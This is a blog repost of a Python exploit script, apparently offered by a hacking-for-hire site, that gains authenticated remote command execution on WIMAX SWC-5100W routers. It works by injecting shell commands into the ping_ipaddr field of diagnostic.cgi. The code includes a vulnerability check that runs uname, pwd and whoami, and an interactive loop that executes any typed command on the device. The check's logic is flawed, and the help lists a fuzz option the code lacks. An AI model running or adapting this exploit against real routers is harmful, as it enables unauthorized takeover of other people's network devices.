Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86398408

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WIMAX SWC-5100W Firmware V(1.11.0.1 :1.9.9.4) - Authenticated RCE
# Vulnerability Name: Ballin' Mada
# Date: 4/3/2023
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.seowonintech.co.kr/eng/main
# Version: Bootloader(1.18.19.0) , HW (0.0.7.0), FW(1.11.0.1 : 1.9.9.4)
# Tested on: Unix
# CVE : Under registration

import requests
import random,argparse
import sys
from colorama import Fore
from bs4 import BeautifulSoup

red = Fore.RED
green = Fore.GREEN
cyan = Fore.CYAN
yellow = Fore.YELLOW
reset = Fore.RESET

argParser = argparse.ArgumentParser()
argParser.add_argument("-t", "--target", help="Target router")
argParser.add_argument("-rv", "--reverseShell", help="Obtain reverse shell", action='store_true')
argParser.add_argument("-tx", "--testExploit", help="Test exploitability", action='store_true')

args = argParser.parse_args()
target = args.target
rev = args.reverseShell
testX = args.testExploit


banner = """
 ____ ____ ____ ____ ____ ____ ____ _________ ____ ____ ____ ____ 
||B |||a |||l |||l |||i |||n |||' |||       |||M |||a |||d |||a ||
||__|||__|||__|||__|||__|||__|||__|||_______|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/_______\|/__\|/__\|/__\|/__\|
                    RCE 0day in WIMAX SWC-5100W
                 [ Spell the CGI as in Cyber Guy ]
"""
def checkEXP():
    print(cyan + "[+] Checking if target is vulnerable" + reset)
    art = ['PWNED_1EE7', 'CGI AS IN CYBER GUY']
    request = requests.get(url = f"http://{target}/cgi-bin/diagnostic.cgi?action=Apply&html_view=ping&ping_count=10&ping_ipaddr=;echo 'PUTS("+random.choice(art)+")';", proxies=None)
    if request.status_code == 200:
        print(green + "[+] Status code: 200 success" + reset)
        soup = BeautifulSoup(request.text, 'html.parser') 
        if soup.get_text(" ").find("PWNED_1EE7") < 0 or soup.get_text(" ").find("CGI AS IN CYBER GUY"):
            print(green + "[+] Target is vulnerable" + reset)
            uname = requests.get(url = f"http://{target}/cgi-bin/diagnostic.cgi?action=Apply&html_view=ping&ping_count=10&ping_ipaddr=;echo+\"<a+id='pwned'>[*] Kernel: `uname+-a` -=-=- [*] Current directory: `pwd` -=-=- [*] User: `whoami`</a>\";")
            soup_validate = BeautifulSoup(uname.text, 'html.parser')
            print(soup_validate.find(id="pwned").text)
        else:
            print(red + "[+] Seems to be not vulnerable" + reset)
    else:
        print(red + "[+] Status code: " + str(request.status_code) + reset)


def revShell():
    cmd = input("CGI #:- ")
    while cmd:
        try:
            print(cmd)
            uname = requests.get(url = f"http://{target}/cgi-bin/diagnostic.cgi?action=Apply&html_view=ping&ping_count=10&ping_ipaddr=;echo+\"<a+id='result'>`{cmd}`</a>\";")
            resp = BeautifulSoup(uname.text, 'html.parser')
            print(resp.find(id="result").text)
            if cmd == "exit" or cmd == "quit":
                print(yellow + "[*] Terminating ..." + reset)
                sys.exit(0)
            else:
                return revShell()
        except KeyboardInterrupt:
            sys.exit(0)

def help():
    print(
    """ 
[+] Example: python3 pwnMada.py -t 192.168.1.1 -rv

[*] -t, --target :: Specify target to attack.
[*] -rv, --reverseShell :: Obtain reverse shell.
[*] -tx, --testExploit :: Test the exploitability of the target.
[*] -fz, --fuzz :: Fuzz the target with arbitrary chars.
    """
    )
    
if target and rev:
    print(banner)
    revShell()
elif target and testX:
    print(banner)
    checkEXP()
else:
    print(banner)
    argParser.print_help()